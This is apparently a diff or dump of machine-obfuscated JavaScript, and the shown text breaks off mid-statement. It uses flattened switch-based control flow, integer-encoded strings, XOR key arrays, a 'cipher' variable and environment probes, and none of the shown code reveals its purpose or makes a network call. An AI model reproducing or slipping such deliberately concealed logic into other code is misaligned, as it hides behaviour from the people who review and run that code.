_$me, _$Te, _$je, _$Ce, _$De, _$Ke, _$Qe, _$We, _$Ye, _$Ue, _$Oe, _$Pe, _$Ge, _$Ne, _$Ze, _$ze, _$Ee, _$Re, _$_e, _$Le, _$Ve, _$qe, _$He, _$xe, _$Be, _$Xe, _$Fe, _$Je, _$$e, _$ar, _$er, _$rr, _$cr, _$vr, _$sr, _$nr, _$fr, _$tr, _$ir, _$or, _$kr, _$br, _$lr, _$hr, _$gr, _$ur, _$pr, _$yr, _$wr, _$dr, _$Mr, _$Ir, _$Ar, _$Sr, _$mr, _$Tr, _$jr, _$Cr, _$Dr, _$Kr, _$Qr, _$Wr, _$Yr, _$Ur, _$Or, _$Pr, _$Gr, _$Nr, _$Zr, _$zr, _$Er, _$Rr, _$_r, _$Lr, _$Vr, _$qr, _$Hr, _$xr, _$Br, _$Xr, _$Fr, _$Jr, _$$r, _$ac, _$ec, _$rc, _$cc, _$vc, _$sc, _$nc, _$fc, _$tc, _$ic, _$oc, _$kc, _$bc, _$lc, _$hc, _$gc, _$uc, _$pc, _$yc, _$wc, _$dc, _$Mc, _$Ic, _$Ac, _$Sc, _$mc, _$Tc, _$jc, _$Cc, _$Dc, _$Kc, _$Qc, _$Wc, _$Yc, _$Uc, _$Oc, _$Pc, _$Gc, _$Nc, _$Zc, _$zc, _$Ec, _$Rc, _$_c, _$Lc, _$Vc, _$qc, _$Hc, _$xc, _$Bc, _$Xc, _$Fc, _$Jc, _$$c, _$av, _$ev, _$rv, _$cv, _$vv, _$sv, _$nv, _$fv, _$tv, _$iv, _$ov, _$kv, _$bv, _$lv, _$hv, _$gv, _$uv, _$pv, _$yv, _$wv, _$dv, _$Mv, _$Iv, _$Av, _$Sv, _$mv, _$Tv, _$jv, _$Cv, _$Dv, _$Kv, _$Qv, _$Wv, _$Yv, _$Uv, _$Ov, _$Pv, _$Gv, _$Nv, _$Zv, _$zv, _$Ev, _$Rv, _$_v, _$Lv, _$Vv, _$qv, _$Hv, _$xv, _$Bv, _$Xv, _$Fv, _$Jv, _$$v, _$as, _$es, _$rs, _$cs, _$vs, _$ss, _$ns, _$fs, _$ts, _$is, _$os, _$ks, _$bs, _$ls, _$hs, _$gs, _$us, _$ps, _$ys, _$ws; + function _$ds(_$a) { + var _$e = _$ck; + var _$r = _$rk; + var _$c = _$PA; + var _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I; + _$v = _$a; + _$s = _$PC; + _$n = _$v[_$s]; + _$f = 1; + _$t = _$n <= _$f; + if (_$t) { + _$v = null; + return _$v + } else { + _$v = []; + _$i = _$v; + for (_$o = 0; _$o < _$a.length; _$o++) { + _$v = _$i; + _$s = _$LC; + _$n = _$a; + _$f = _$o; + _$t = _$n[_$f]; + _$v[_$s](_$t) + } + _$v = _$ek; + _$k = _$v; + _$s = 1; + _$b = _$s; + _$v = _$b; + _$s = 1; + _$n = _$v + _$s; + _$b = _$n; + _$v = 1; + _$k = _$v; + _$v = _$BC; + _$l = _$v; + _$v = _$b; + _$k = _$v; + _$v = 3768320; + _$s = 3637248; + _$n = 3735552; + _$f = 3801088; + _$t = [_$v, _$s, _$n, _$f]; + _$b = _$t; + for (_$h = 0; _$h < _$b.length; _$h++) { + _$v = _$l; + _$s = _$b; + _$n = _$h; + _$f = _$s[_$n]; + _$t = 15; + _$g = _$f >> _$t; + _$u = _$bW(_$g); + _$p = _$v + _$u; + _$l = _$p + } + _$v = _$b; + _$s = _$LC; + _$n = _$k; + _$f = _$v[_$s](_$n); + _$b = _$f; + _$v = _$i; + _$s = _$l; + _$v[_$s](); + for (_$o = 0; _$o < _$i.length - 1; _$o++) { + _$v = _$i; + _$s = _$o; + _$n = _$v[_$s]; + _$f = _$i; + _$t = _$o; + _$g = 1; + _$u = _$t + _$g; + _$p = _$f[_$u]; + _$y = _$n == _$p; + if (_$y) { + _$v = _$i; + _$s = _$o; + _$n = _$v[_$s]; + return _$n + } + } + } + _$v = []; + _$w = _$v; + _$s = _$c + _$r + _$e; + _$d = _$s; + for (_$M = _$d.length - 1; _$M >= 0; _$M--) { + _$v = _$w; + _$s = _$LC; + _$n = _$d; + _$f = _$_C; + _$t = _$M; + _$g = _$n[_$f](_$t); + _$v[_$s](_$g) + } + _$v = _$w; + _$s = _$RC; + _$n = _$BC; + _$f = _$v[_$s](_$n); + _$w = _$f; + _$v = _$d; + _$s = _$_C; + _$n = 5; + _$f = _$v[_$s](_$n); + _$t = _$w; + _$g = _$_C; + _$u = 4; + _$p = _$t[_$g](_$u); + _$y = _$f > _$p; + if (_$y) { + _$v = _$d; + _$s = _$EC; + _$n = _$v + _$s; + _$d = _$n + } + _$v = _$w; + _$s = _$d; + _$n = _$v + _$s; + _$I = _$n; + _$v = []; + _$d = _$v; + for (_$M = _$d.length - 1; _$M >= 4; _$M--) { + _$v = _$d; + _$s = _$LC; + _$n = _$I; + _$f = _$_C; + _$t = _$M; + _$g = _$n[_$f](_$t); + _$v[_$s](_$g) + } + _$v = _$d; + _$s = _$RC; + _$n = _$BC; + _$f = _$v[_$s](_$n); + _$d = _$f; + _$v = _$zC; + _$d += _$v; + _$v = _$ZC; + _$d += _$v; + _$v = _$_C; + _$d += _$v; + _$v = _$zC; + _$d += _$v; + _$v = _$I; + _$w = _$v; + _$v = _$d; + _$I = _$v; + _$v = _$d; + _$s = _$_C; + _$n = 5; + _$f = _$v[_$s](_$n); + _$t = _$w; + _$g = _$_C; + _$u = 7; + _$p = _$t[_$g](_$u); + _$y = _$f > _$p; + if (_$y) { + _$v = _$d; + _$s = _$NC; + _$n = _$v + _$s; + _$d = _$n + } + _$v = _$GC; + _$w += _$v; + _$v = null; + return _$v + } + function _$Ms(_$a) { + var _$e = _$ak; + var _$r = _$$o; + var _$c = _$NM; + var _$v = _$Jo; + var _$s = _$Mj; + var _$n = _$tM; + var _$f = _$eM; + var _$t = _$Fo; + var _$i = _$Xo; + var _$o = _$tg; + var _$k = _$Bo; + var _$b = _$xo; + var _$l = _$Ho; + var _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K, _$Q, _$W, _$Y, _$U, _$O, _$P, _$G, _$N, _$Z, _$z, _$E, _$R, _$_, _$L, _$V, _$q, _$H, _$x, _$B, _$X, _$F, _$J, _$$, _$aa, _$ea, _$ra, _$ca, _$va, _$sa, _$na, _$fa, _$ta; + _$h = _$a; + _$g = _$ds(_$h); + _$u = _$g; + _$p = 1; + _$y = _$p; + _$w = 1; + _$d = -_$w; + _$M = _$d; + _$I = 2; + _$A = _$I; + _$S = 0; + _$m = _$S; + _$h = _$y; + _$g = _$M; + _$p = _$h + _$g; + _$w = 0; + _$d = _$p > _$w; + if (_$d) { + _$h = _$A; + _$g = 3; + _$p = _$h >> _$g; + _$m = _$p; + _$h = _$M; + _$g = _$m; + _$p = _$h + _$g; + _$m = _$p; + _$h = _$y; + _$g = _$A; + _$p = _$m; + _$w = _$g * _$p; + _$d = _$h >> _$w; + _$I = _$y; + _$S = _$d >> _$I; + _$M = _$S; + _$h = _$M; + _$g = _$m; + _$p = _$h / _$g; + _$m = _$p + } + _$h = _$y; + _$g = _$h; + if (_$g) { + _$T = _$M; + _$g = !_$T + } + if (_$g) { + _$h = _$A; + _$g = 3; + _$p = _$h % _$g; + _$m = _$p; + _$h = _$M; + _$g = _$m; + _$p = _$h + _$g; + _$m = _$p + } + _$h = 5; + _$g = -_$h; + _$M = _$g; + _$h = false; + _$j = _$h; + _$h = _$y; + _$g = _$M; + _$p = _$h + _$g; + _$w = _$y; + _$d = _$p + _$w; + _$I = 0; + _$S = _$d > _$I; + if (_$S) { + _$h = _$y; + _$g = _$A; + _$p = _$m; + _$w = _$g + _$p; + _$d = _$h >> _$w; + _$I = _$y; + _$S = _$d >> _$I; + _$M = _$S; + _$h = _$M; + _$g = _$m; + _$p = _$h + _$g; + _$m = _$p + } + _$h = _$M; + _$g = _$A; + _$p = _$h + _$g; + _$w = 0; + _$d = _$p > _$w; + if (_$d) { + _$h = _$M; + _$g = _$m; + _$p = _$h + _$g; + _$m = _$p; + _$h = _$M; + _$g = _$m; + _$p = _$h - _$g; + _$A = _$p + } + _$h = _$y; + _$g = _$m; + _$p = _$h + _$g; + _$w = _$M; + _$d = _$p < _$w; + if (_$d) { + _$h = _$y; + _$g = _$A; + _$p = _$m; + _$w = _$g + _$p; + _$d = _$h >> _$w; + _$I = _$y; + _$S = _$M; + _$C = _$I - _$S; + _$D = _$d >> _$C; + _$K = _$m; + _$Q = _$D >> _$K; + _$m = _$Q + } + _$h = _$A; + _$g = 0; + _$p = _$h < _$g; + if (_$p) { + _$h = _$M; + _$g = _$y; + _$p = _$m; + _$w = _$g / _$p; + _$d = _$h >> _$w; + _$I = _$y; + _$S = _$d >> _$I; + _$A = _$S + } + try { + _$h = Documeut; + _$j = _$h + } catch (_$a) {} + _$h = _$A; + _$g = _$m; + _$p = _$h + _$g; + _$w = 0; + _$d = _$p < _$w; + if (_$d) { + _$h = _$y; + _$g = _$A; + _$p = _$m; + _$w = _$g * _$p; + _$d = _$h << _$w; + _$I = _$y; + _$S = _$d >> _$I; + _$M = _$S + } + _$h = _$M; + _$g = _$A; + _$p = _$h + _$g; + _$w = 0; + _$d = _$p > _$w; + if (_$d) { + _$h = _$A; + _$g = 2; + _$p = _$h << _$g; + _$A = _$p; + _$h = _$A; + _$g = _$m; + _$p = _$m; + _$w = _$g + _$p; + _$d = _$h >> _$w; + _$I = _$y; + _$S = _$d >> _$I; + _$M = _$S; + _$h = _$M; + _$g = _$m; + _$p = _$h / _$g; + _$m = _$p + } + _$h = _$M; + _$g = !_$h; + if (_$g) { + _$h = _$A; + _$g = 2; + _$p = _$M; + _$w = _$g + _$p; + _$d = _$y; + _$I = _$w - _$d; + _$S = _$h << _$I; + _$A = _$S + } + _$h = _$y; + _$g = !_$h; + if (_$g) { + _$h = 5; + _$g = _$A; + _$p = _$h + _$g; + _$w = 3; + _$d = _$p >> _$w; + _$y = _$d + } + _$h = _$u; + _$g = null; + _$p = _$h != _$g; + if (_$p) { + _$h = 1; + _$W = _$h; + _$g = _$qo; + _$Y = _$g; + _$p = 1; + _$U = _$p; + _$h = _$U; + _$g = 1; + _$p = _$h + _$g; + _$U = _$p; + _$h = 1; + _$Y = _$h; + _$h = _$BC; + _$O = _$h; + _$h = _$U; + _$Y = _$h; + _$h = 6720; + _$g = 7040; + _$p = 6400; + _$w = 6464; + _$d = 7680; + _$I = 5056; + _$S = 6528; + _$C = [_$h, _$g, _$p, _$w, _$d, _$I, _$S]; + _$U = _$C; + for (_$P = 0; _$P < _$U.length; _$P++) { + _$h = _$O; + _$g = _$U; + _$p = _$P; + _$w = _$g[_$p]; + _$d = 6; + _$I = _$w >> _$d; + _$S = _$bW(_$I); + _$C = _$h + _$S; + _$O = _$C + } + _$h = _$U; + _$g = _$LC; + _$p = _$Y; + _$w = _$h[_$g](_$p); + _$U = _$w; + _$h = _$a; + _$g = _$RC; + _$p = _$BC; + _$w = _$h[_$g](_$p); + _$d = _$O; + _$I = _$u; + _$S = _$w[_$d](_$I); + _$G = _$S; + _$C = _$u; + _$D = _$OC; + _$K = _$C[_$D](); + _$N = _$K; + while (_$W) { + _$h = _$N; + _$g = 1; + _$p = _$h + _$g; + _$N = _$p; + _$h = _$N; + _$g = _$bW(_$h); + _$Z = _$g; + _$p = _$i + _$t + _$l + _$o + _$k + _$b; + _$z = _$p; + _$w = function(_$a, _$e) { + var _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g; + for (_$r = 0; _$r < _$a.length; _$r++) { + _$c = _$a; + _$v = _$r; + _$s = _$c[_$v]; + _$n = _$e; + _$f = _$s === _$n; + if (_$f) { + _$c = _$r; + return _$c + } + } + _$c = []; + _$t = _$c; + for (_$o = 0; _$o < 10; _$o++) { + _$c = _$t; + _$v = _$LC; + _$s = _$o; + _$n = 6; + _$f = _$s + _$n; + _$c[_$v](_$f) + } + _$c = _$t; + _$v = 4; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 6; + _$k = _$n[_$f]; + _$b = _$s + _$k; + _$i = _$b; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 7; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$t; + _$v = 6; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$l = 0; + _$h = _$b > _$l; + if (_$h) { + _$c = _$i; + _$v = _$t; + _$s = 3; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$k = _$t; + _$b = 5; + _$l = _$k[_$b]; + _$h = _$f - _$l; + _$i = _$h + } else { + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f + } + _$c = _$t; + _$v = 8; + _$s = _$i; + _$n = _$t; + _$f = 4; + _$k = _$n[_$f]; + _$b = _$s / _$k; + _$c[_$v] = _$b; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 8; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 4; + _$n = _$v[_$s]; + _$f = _$c / _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c - _$n; + if (_$f) { + _$c = _$i; + _$v = _$t; + _$s = 3; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f + } + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$t; + _$v = 0; + _$s = _$c[_$v]; + _$g = _$s; + _$c = _$t; + _$v = 8; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$l = 0; + _$h = _$b > _$l; + if (_$h) { + _$c = _$i; + _$v = _$t; + _$s = 4; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$k = _$t; + _$b = 5; + _$l = _$k[_$b]; + _$h = _$f - _$l; + _$i = _$h + } else { + _$c = _$i; + _$v = _$t; + _$s = 0; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f + } + _$c = _$t; + _$v = 4; + _$s = _$i; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$c[_$v] = _$b; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 8; + _$n = _$v[_$s]; + _$f = _$c / _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = 1; + _$v = -_$c; + return _$v + } + ; + _$E = _$w; + _$d = _$s + _$n + _$v + _$f + _$c + _$e + _$r; + _$R = _$d; + _$I = _$R; + _$S = _$PC; + _$C = _$I[_$S]; + _$_ = _$C; + _$D = 0; + _$B = _$D; + _$h = []; + _$X = _$h; + _$h = _$z; + _$g = _$PC; + _$p = _$h[_$g]; + _$w = 4; + _$d = _$p / _$w; + _$L = _$d; + for (_$F = 0; _$F < _$L; _$F++) { + _$h = _$R; + _$g = _$z; + _$p = _$_C; + _$w = _$B; + _$d = _$g[_$p](_$w); + _$I = _$E(_$h, _$d); + _$x = _$I; + _$B++; + _$h = _$R; + _$g = _$z; + _$p = _$_C; + _$w = _$B; + _$d = _$g[_$p](_$w); + _$I = _$E(_$h, _$d); + _$H = _$I; + _$B++; + _$h = _$R; + _$g = _$z; + _$p = _$_C; + _$w = _$B; + _$d = _$g[_$p](_$w); + _$I = _$E(_$h, _$d); + _$q = _$I; + _$B++; + _$h = _$R; + _$g = _$z; + _$p = _$_C; + _$w = _$B; + _$d = _$g[_$p](_$w); + _$I = _$E(_$h, _$d); + _$V = _$I; + _$B++; + _$h = _$X; + _$g = _$F; + _$p = _$x; + _$w = _$_; + _$d = _$p * _$w; + _$I = _$_; + _$S = _$d * _$I; + _$C = _$_; + _$D = _$S * _$C; + _$K = _$H; + _$Q = _$_; + _$J = _$K * _$Q; + _$$ = _$_; + _$aa = _$J * _$$; + _$ea = _$D + _$aa; + _$ra = _$q; + _$ca = _$_; + _$va = _$ra * _$ca; + _$sa = _$ea + _$va; + _$na = _$V; + _$fa = _$sa + _$na; + _$h[_$g] = _$fa + } + _$h = _$BC; + _$L = _$h; + for (_$ta = 0; _$ta < _$X.length; _$ta++) { + _$h = _$X; + _$g = _$ta; + _$p = _$h[_$g]; + _$w = _$bW(_$p); + _$L += _$w + } + _$h = _$a; + _$g = _$RC; + _$p = _$BC; + _$w = _$h[_$g](_$p); + _$d = _$L; + _$I = _$Z; + _$S = _$w[_$d](_$I); + _$C = 1; + _$D = -_$C; + _$K = _$S == _$D; + if (_$K) { + _$h = _$a; + _$g = _$G; + _$p = _$Z; + _$h[_$g] = _$p; + break + } + } + _$h = _$a; + _$g = _$Ms(_$h); + _$a = _$g + } + _$h = _$M; + _$g = _$m; + _$p = _$h + _$g; + _$w = 0; + _$d = _$p > _$w; + if (_$d) { + _$h = _$A; + _$g = 4; + _$p = _$M; + _$w = _$g + _$p; + _$d = _$h >> _$w; + _$I = 3; + _$S = _$M; + _$C = _$I * _$S; + _$D = _$A; + _$K = _$C + _$D; + _$Q = _$d >> _$K; + _$J = 2; + _$$ = _$Q << _$J; + _$m = _$$ + } + _$h = _$a; + return _$h + } + _$oe = 0; + _$ke = _$oe; + _$be = 17; + _$le = 218; + _$he = 20; + _$ge = 152; + _$ue = 55; + _$pe = 60; + _$ye = 67; + _$we = 56; + _$de = 83; + _$Me = 88; + _$Ie = 132; + _$Ae = 61; + _$Se = 16; + _$me = 102; + _$Te = 94; + _$je = 205; + _$Ce = 112; + _$De = 146; + _$Ke = 206; + _$Qe = 72; + _$We = [_$be, _$le, _$he, _$ge, _$ue, _$pe, _$ye, _$we, _$de, _$Me, _$Ie, _$Ae, _$Se, _$me, _$Te, _$je, _$Ce, _$De, _$Ke, _$Qe]; + _$Ye = _$We; + while (!![]) { + switch (_$Ye[_$ke++]) { + case 1: + for (_$Ue = 0; _$Ue < _$a.length; _$Ue++) { + _$oe = _$Ue; + _$be = _$tr; + _$le = _$oe % _$be; + _$ir = _$le; + _$oe = _$a; + _$be = _$Ue; + _$le = _$a; + _$he = _$Ue; + _$ge = _$le[_$he]; + _$ue = _$cr; + _$pe = _$ir; + _$ye = _$ue[_$pe]; + _$we = _$ge ^ _$ye; + _$oe[_$be] = _$we + } + break; + case 2: + _$ps = _$ps + 1; + _$Oe = [77, 213, 53, 71, 209, 182, 109, 4, 105, 78, 212, 200, 183, 28, 59, 66, 90, 47, 167, 198]; + break; + case 3: + _$tc = _$fc[4] + _$fc[6]; + break; + case 4: + for (_$Pe = 0; _$Pe < _$xr.length; _$Pe++) { + _$oe = _$zr; + _$be = _$xr; + _$le = _$Pe; + _$he = _$be[_$le]; + _$ge = 9; + _$ue = _$he >> _$ge; + _$pe = _$bW(_$ue); + _$ye = _$oe + _$pe; + _$zr = _$ye + } + break; + case 5: + for (_$Ge = 0; _$Ge < _$ze; _$Ge++) { + for (_$Ne = 0; _$Ne < _$Nv; _$Ne++) { + _$oe = _$Rv; + _$be = _$Ge; + _$le = _$oe[_$be]; + _$he = _$Ne; + _$ge = _$Kv; + _$ue = _$Ge; + _$pe = _$ge[_$ue]; + _$ye = _$hs; + _$we = _$Ne; + _$de = _$ye[_$we]; + _$Me = _$pe[_$de]; + _$le[_$he] = _$Me + } + } + break; + case 6: + _$Ze = _$BC; + break; + case 7: + _$zv = _$zv.p(_$Zv); + case 8: + _$ze = Math[_$Tr](_$rr.length / _$Nv); + _$Ee = _$Vo; + _$Re = 1; + break; + case 9: + _$_e = _$BC; + break; + case 10: + if (_$fc[8] - _$fc[5] > 0) { + _$oe = _$tc; + _$be = _$fc; + _$le = 4; + _$he = _$be[_$le]; + _$ge = _$oe + _$he; + _$tc = _$ge; + _$oe = _$tc; + _$be = _$fc; + _$le = 6; + _$he = _$be[_$le]; + _$ge = _$oe + _$he; + _$ue = _$fc; + _$pe = 5; + _$ye = _$ue[_$pe]; + _$we = _$ge - _$ye; + _$tc = _$we + } else { + _$oe = _$tc; + _$be = _$fc; + _$le = 0; + _$he = _$be[_$le]; + _$ge = _$oe * _$he; + _$tc = _$ge; + _$oe = _$tc; + _$be = _$fc; + _$le = 2; + _$he = _$be[_$le]; + _$ge = _$oe - _$he; + _$tc = _$ge + } + break; + case 11: + _$os = 1; + break; + case 12: + _$Le = 0; + break; + case 13: + _$cr[_$ar] = _$$e; + _$Cr.apply(_$Ye, _$lv); + break; + case 14: + _$$e = _$Ec; + break; + case 15: + _$tc = _$tc / _$fc[8]; + break; + case 16: + for (_$Ve = 0; _$Ve < _$$r; _$Ve++) { + _$oe = _$ic; + _$be = _$OC; + _$le = _$Ve; + _$he = _$oe[_$be](_$le); + _$ac = _$he; + _$oe = _$ac; + _$be = 65536; + _$le = _$oe >= _$be; + _$he = _$le; + if (_$he) { + _$qe = _$ac; + _$He = 1114111; + _$he = _$qe <= _$He + } + if (_$he) { + _$oe = _$Wr; + _$be = _$LC; + _$le = _$ac; + _$he = 18; + _$ge = _$le >> _$he; + _$ue = 7; + _$pe = _$ge & _$ue; + _$ye = 240; + _$we = _$pe | _$ye; + _$oe[_$be](_$we); + _$oe = _$Wr; + _$be = _$LC; + _$le = _$ac; + _$he = 12; + _$ge = _$le >> _$he; + _$ue = 63; + _$pe = _$ge & _$ue; + _$ye = 128; + _$we = _$pe | _$ye; + _$oe[_$be](_$we); + _$oe = _$Wr; + _$be = _$LC; + _$le = _$ac; + _$he = 6; + _$ge = _$le >> _$he; + _$ue = 63; + _$pe = _$ge & _$ue; + _$ye = 128; + _$we = _$pe | _$ye; + _$oe[_$be](_$we); + _$oe = _$Wr; + _$be = _$LC; + _$le = _$ac; + _$he = 63; + _$ge = _$le & _$he; + _$ue = 128; + _$pe = _$ge | _$ue; + _$oe[_$be](_$pe) + } else { + _$oe = _$ac; + _$be = 2048; + _$le = _$oe >= _$be; + _$he = _$le; + if (_$he) { + _$qe = _$ac; + _$He = 65535; + _$he = _$qe <= _$He + } + if (_$he) { + _$oe = _$Wr; + _$be = _$LC; + _$le = _$ac; + _$he = 12; + _$ge = _$le >> _$he; + _$ue = 15; + _$pe = _$ge & _$ue; + _$ye = 224; + _$we = _$pe | _$ye; + _$oe[_$be](_$we); + _$oe = _$Wr; + _$be = _$LC; + _$le = _$ac; + _$he = 6; + _$ge = _$le >> _$he; + _$ue = 63; + _$pe = _$ge & _$ue; + _$ye = 128; + _$we = _$pe | _$ye; + _$oe[_$be](_$we); + _$oe = _$Wr; + _$be = _$LC; + _$le = _$ac; + _$he = 63; + _$ge = _$le & _$he; + _$ue = 128; + _$pe = _$ge | _$ue; + _$oe[_$be](_$pe) + } else { + _$oe = _$ac; + _$be = 128; + _$le = _$oe >= _$be; + _$he = _$le; + if (_$he) { + _$qe = _$ac; + _$He = 2047; + _$he = _$qe <= _$He + } + if (_$he) { + _$oe = _$Wr; + _$be = _$LC; + _$le = _$ac; + _$he = 6; + _$ge = _$le >> _$he; + _$ue = 31; + _$pe = _$ge & _$ue; + _$ye = 192; + _$we = _$pe | _$ye; + _$oe[_$be](_$we); + _$oe = _$Wr; + _$be = _$LC; + _$le = _$ac; + _$he = 63; + _$ge = _$le & _$he; + _$ue = 128; + _$pe = _$ge | _$ue; + _$oe[_$be](_$pe) + } else { + _$oe = _$Wr; + _$be = _$LC; + _$le = _$ac; + _$he = 255; + _$ge = _$le & _$he; + _$oe[_$be](_$ge) + } + } + } + } + break; + case 17: + _$vr = _$Lo; + _$sr = 1; + break; + case 18: + _$pv = [1638400, 1605632, 1605632, 1671168, 1638400, 1835008, 1703936]; + break; + case 19: + _$Nc = [56832, 50176, 54272, 51712, 50688, 59392]; + break; + case 20: + _$vr = 1; + break; + case 21: + break; + case 22: + _$xe = _$JY(_$nY, 1); + break; + case 23: + break; + case 24: + _$Re = [169984, 202752, 233472, 206848, 206848, 225280, 161792, 233472, 215040, 206848, 225280, 237568, 198656, 237568, 215040, 227328, 225280]; + break; + case 25: + _$ur = _$ur + _$BC; + break; + case 26: + for (_$or = 0; _$or < _$Xe.length; _$or++) { + _$oe = _$Xe; + _$be = _$or; + _$le = _$oe[_$be]; + _$he = _$Xe; + _$ge = _$or; + _$ue = _$he[_$ge]; + _$pe = _$le * _$ue; + _$Sr += _$pe + } + break; + case 27: + cipher = _$Ar.j(_$BC); + _$Cr.apply(_$Ye, _$Oe); + break; + case 28: + for (_$Ge = 0; _$Ge < _$ze; _$Ge++) { + _$oe = _$Rv; + _$be = _$Ge; + _$le = Array; + _$he = _$Nv; + _$ge = new _$le(_$he); + _$oe[_$be] = _$ge + } + break; + case 29: + for (_$kr = 0; _$kr < _$Cv + 1; _$kr++) { + _$oe = []; + _$br = _$oe; + for (_$lr = 0; _$lr < _$jv + 1; _$lr++) { + _$oe = _$br; + _$be = _$LC; + _$le = 0; + _$oe[_$be](_$le) + } + _$oe = _$Dv; + _$be = _$LC; + _$le = _$br; + _$oe[_$be](_$le) + } + break; + case 30: + _$hr = _$BC; + break; + case 31: + _$ar++; + break; + case 32: + try { + _$oe = __FILE__; + _$gr = _$oe + } catch (_$a) { + _$oe = _$_C; + _$Bc = _$oe + } + break; + case 33: + _$ur = _$Sr; + _$Cr.apply(_$Ye, _$Gr); + break; + case 34: + for (_$pr = 0; _$pr < _$ks.length; _$pr++) { + _$oe = _$ys; + _$be = _$ks; + _$le = _$pr; + _$he = _$be[_$le]; + _$ge = 4; + _$ue = _$he >> _$ge; + _$pe = _$bW(_$ue); + _$ye = _$oe + _$pe; + _$ys = _$ye + } + break; + case 35: + _$yr = _$Le; + break; + case 36: + _$Re = _$Re + 1; + break; + case 37: + for (_$wr = 0; _$wr < _$Nv; _$wr++) { + for (_$dr = 0; _$dr < _$ze; _$dr++) { + _$oe = _$MW; + _$be = _$LC; + _$le = _$Rv; + _$he = _$dr; + _$ge = _$le[_$he]; + _$ue = _$hs; + _$pe = _$wr; + _$ye = _$ue[_$pe]; + _$we = _$ge[_$ye]; + _$oe[_$be](_$we) + } + } + break; + case 38: + _$bv = _$kv; + break; + case 39: + _$us = 1; + break; + case 40: + _$uv = 1; + break; + case 41: + _$Mr = false; + break; + case 42: + _$tc = _$tc * _$fc[7]; + _$Ir = [143, 76, 99, 7, 36, 192, 154, 201, 147, 24, 185, 118, 101, 107, 179, 81, 197, 19, 202, 137]; + break; + case 43: + _$ar++; + break; + case 44: + _$er = _$FY(_$Ze); + break; + case 45: + _$Ar = cipher[_$hr](_$BC); + break; + case 46: + _$Be = _$JY(_$YY, 2); + break; + case 47: + for (_$Ge = 0; _$Ge < _$iv.length; _$Ge++) { + _$oe = _$Kr; + _$be = _$Nv; + _$le = _$oe === _$be; + if (_$le) { + _$oe = 0; + _$Kr = _$oe; + _$oe = 1; + _$Dr += _$oe + } + _$oe = _$Rv; + _$be = _$Dr; + _$le = _$oe[_$be]; + _$he = _$Kr; + _$ge = _$iv; + _$ue = _$Ge; + _$pe = _$ge[_$ue]; + _$le[_$he] = _$pe; + _$oe = 1; + _$Kr += _$oe + } + break; + case 48: + _$uv = _$pv; + break; + case 49: + _$Sr = 0; + break; + case 50: + cipher = _$Gv; + break; + case 51: + _$ar++; + _$mr = [10, 106, 87, 100, 31, 141, 129, 43, 108, 91, 164, 114, 32, 14, 13, 159, 145, 85, 40, 6]; + break; + case 52: + _$Tr = _$BC; + break; + case 53: + _$Hr = 1; + break; + case 54: + _$tc = _$tc + _$fc[8]; + break; + case 55: + _$vr = _$sr; + _$jr = [186, 215, 166, 29, 165, 194, 178, 75, 64, 49, 26, 3, 33, 25, 12, 73, 35, 130, 176, 98]; + break; + case 56: + _$sr = _$sr.p(_$vr); + _$Cr = _$Ye.p; + break; + case 57: + for (_$Ge = 0; _$Ge < _$ze * _$Nv; _$Ge++) { + _$oe = _$iv; + _$be = _$LC; + _$le = 0; + _$oe[_$be](_$le) + } + break; + case 58: + _$ks = [1840, 1792, 1728, 1680, 1856]; + break; + case 59: + _$Dr = 0; + _$Kr = 0; + _$Qr = false; + _$Cr.apply(_$Ye, _$bs); + break; + case 60: + _$sr = [802816, 909312, 794624, 671744, 892928, 942080, 802816, 942080, 851968, 630784, 524288, 909312, 909312, 450560, 442368, 942080, 720896, 802816, 696320, 942080, 548864, 516096, 598016, 819200, 483328, 827392, 688128, 909312, 802816, 622592, 942080, 794624, 401408, 909312]; + break; + case 61: + _$Wr = []; + break; + case 62: + for (_$Yr = 0; _$Yr < _$Fr.length; _$Yr++) { + _$oe = _$_e; + _$be 